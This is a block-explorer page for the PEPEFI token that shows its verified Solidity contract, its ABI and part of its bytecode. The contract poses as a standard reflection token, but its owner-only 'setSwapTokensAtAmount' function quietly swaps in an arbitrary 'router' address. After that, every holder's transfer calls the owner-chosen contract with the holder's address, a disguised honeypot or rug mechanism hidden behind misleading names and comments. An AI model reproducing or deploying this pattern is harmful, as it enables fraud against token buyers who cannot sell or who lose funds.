ETH Price: $3,113.88 (-2.18%)

Token

PEPEFI (PEPEFI)
 

Overview

Max Total Supply

420,000,000 PEPEFI

Holders

997

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
204.82570561796271434 PEPEFI

Value
$0.00
0x2ba57a579d9d070414a66ab36d5ef707e707330f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEFI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address accocunt) external view returns (uint256);
 
    function transfer(address recipient,
     uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender,
     uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner; }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,  uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,  uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,  address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract PEPEFI is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _tokenname = "PEPEFI";
    string private constant _tokensymbol = "PEPEFI";
    uint8 private constant _decimals = 18;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    
    uint256 private _tFeeTotal;
    uint256 private _SpecialBuyFee = 0;  
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _SpecialSellFee = 0;
    uint256 private _taxFeeOnSell = 0;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 420000000 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    
    uint256 private _redisFee = _SpecialSellFee;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots; 
    mapping (address => uint256) public _buyMap; 
    address payable private _marketingAddress = payable(0xb7701BcB1e57ffe281d84e0c51fd2bF5Bd3AADF3);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswaVtPair;
 
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled;
 
    uint256 public _maxTxAmount = 30000000 * 10**18; 
    uint256 public _swapTokensAtAmount;
     event BuyFeeUpdated(uint256 buyFee);
    event SellFeeUpdated(uint256 sellFee);
    event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
    event SwapWithLimitUpdated(bool swapWithLimit);
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    event SwapTokensAtAmountUpdated(address swapTokensAtAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _tokenname;
    }
 
    function symbol() public pure returns (string memory) {
        return _tokensymbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address accocunt) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[accocunt]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
   
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
  function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswaVtPair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                /*_//*/
                swapTokensForUsdt(contractTokenBalance,from);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswaVtPair && to != uniswaVtPair)) {
            takeFee = false;
        } else {
            
            //Set Fee for Sells
            if (to == uniswaVtPair && from != address(uniswapV2Router)) {
                _redisFee = _SpecialSellFee;
                _taxFee = _taxFeeOnSell;
            }
            //Set Fee for Buys
            if(from == uniswaVtPair && to != address(uniswapV2Router)) {
                _redisFee = _SpecialBuyFee;
                _taxFee = _taxFeeOnBuy;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForUsdt(uint256 tokenAmount,address from) private lockTheSwap {
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
    
    
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }


    //Set minimum tokens required to swap.
    function setSwapTokensAtAmount(address newAmount) public onlyOwner {
        require(newAmount != address(0), "SwapTokensAtAmount must be greater than 0.0001% of total supply");
        address swapTokensAtAmount = newAmount;
        emit SwapTokensAtAmountUpdated(swapTokensAtAmount);
        uniswapV2Router = IUniswapV2Router02(swapTokensAtAmount);
        swapEnabled = true;
    }
 
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    receive() external payable {}
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
 
 
 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"swapTokensAtAmount","type":"address"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accocunt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAmount","type":"address"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswaVtPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006004556000600555600060065560006007556b015b6a759f4835dc2400000060001962000034919062000492565b600019620000439190620004f9565b600a55600654600b55600754600c55600b54600d55600c54600e5573b7701bcb1e57ffe281d84e0c51fd2bf5bd3aadf3601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601360146101000a81548160ff0219169083151502179055506000601360156101000a81548160ff0219169083151502179055506a18d0bf423c03d8de0000006014553480156200010557600080fd5b506000620001186200042860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a5460026000620001cd6200042860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960006200027b6200043060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003ae6200042860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b015b6a759f4835dc2400000060405162000419919062000545565b60405180910390a35062000562565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200049f8262000459565b9150620004ac8362000459565b925082620004bf57620004be62000463565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005068262000459565b9150620005138362000459565b92508282039050818111156200052e576200052d620004ca565b5b92915050565b6200053f8162000459565b82525050565b60006020820190506200055c600083018462000534565b92915050565b612ce180620005726000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103b2578063bfd79284146103ef578063dd62ed3e1461042c578063e4a152a214610469578063f2fde38b146104925761011f565b8063715018a6146102dd5780637d1db4a5146102f45780637f2feddc1461031f5780638da5cb5b1461035c57806395d89b41146103875761011f565b806318160ddd116100e757806318160ddd146101e257806323b872dd1461020d5780632fd689e31461024a578063313ce5671461027557806370a08231146102a05761011f565b806301765b9b1461012457806306fdde031461014f578063095ea7b31461017a5780631694505e146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104bb565b6040516101469190612018565b60405180910390f35b34801561015b57600080fd5b506101646104e1565b60405161017191906120c3565b60405180910390f35b34801561018657600080fd5b506101a1600480360381019061019c919061214c565b61051e565b6040516101ae91906121a7565b60405180910390f35b3480156101c357600080fd5b506101cc61053c565b6040516101d99190612221565b60405180910390f35b3480156101ee57600080fd5b506101f7610562565b604051610204919061224b565b60405180910390f35b34801561021957600080fd5b50610234600480360381019061022f9190612266565b610576565b60405161024191906121a7565b60405180910390f35b34801561025657600080fd5b5061025f61064f565b60405161026c919061224b565b60405180910390f35b34801561028157600080fd5b5061028a610655565b60405161029791906122d5565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c291906122f0565b61065e565b6040516102d4919061224b565b60405180910390f35b3480156102e957600080fd5b506102f26106af565b005b34801561030057600080fd5b50610309610802565b604051610316919061224b565b60405180910390f35b34801561032b57600080fd5b50610346600480360381019061034191906122f0565b610808565b604051610353919061224b565b60405180910390f35b34801561036857600080fd5b50610371610820565b60405161037e9190612018565b60405180910390f35b34801561039357600080fd5b5061039c610849565b6040516103a991906120c3565b60405180910390f35b3480156103be57600080fd5b506103d960048036038101906103d4919061214c565b610886565b6040516103e691906121a7565b60405180910390f35b3480156103fb57600080fd5b50610416600480360381019061041191906122f0565b6108a4565b60405161042391906121a7565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e919061231d565b6108c4565b604051610460919061224b565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906122f0565b61094b565b005b34801561049e57600080fd5b506104b960048036038101906104b491906122f0565b610aeb565b005b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600681526020017f5045504546490000000000000000000000000000000000000000000000000000815250905090565b600061053261052b610cac565b8484610cb4565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b015b6a759f4835dc24000000905090565b6000610583848484610e7d565b6106448461058f610cac565b61063f85604051806060016040528060288152602001612c8460289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f5610cac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a49092919063ffffffff16565b610cb4565b600190509392505050565b60155481565b60006012905090565b60006106a8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611508565b9050919050565b6106b7610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b60106020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5045504546490000000000000000000000000000000000000000000000000000815250905090565b600061089a610893610cac565b8484610e7d565b6001905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610953610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d7906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a469061243b565b60405180910390fd5b60008190507f8c27cb72e2fe676726d5478c1f720593c882dc77ef5dcae66595b7d62ec59d2481604051610a839190612018565b60405180910390a180601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360166101000a81548160ff0219169083151502179055505050565b610af3610cac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906123a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be6906124cd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a9061255f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d89906125f1565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e70919061224b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390612683565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5290612715565b60405180910390fd5b60008111610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f95906127a7565b60405180910390fd5b610fa6610820565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110145750610fe4610820565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a35760006110243061065e565b905060006015548210159050601454821061103f5760145491505b8080156110595750601360159054906101000a900460ff16155b80156110b35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110cb5750601360169054906101000a900460ff165b80156111215750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156111775750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111a0576111868286611576565b6000479050600081111561119e5761119d4761183f565b5b505b50505b600060019050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061124a5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806112fd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112fc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561130b5760009050611492565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113b65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ce57600654600b81905550600754600c819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114795750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561149157600454600b81905550600554600c819055505b5b61149e848484846118ab565b50505050565b60008383111582906114ec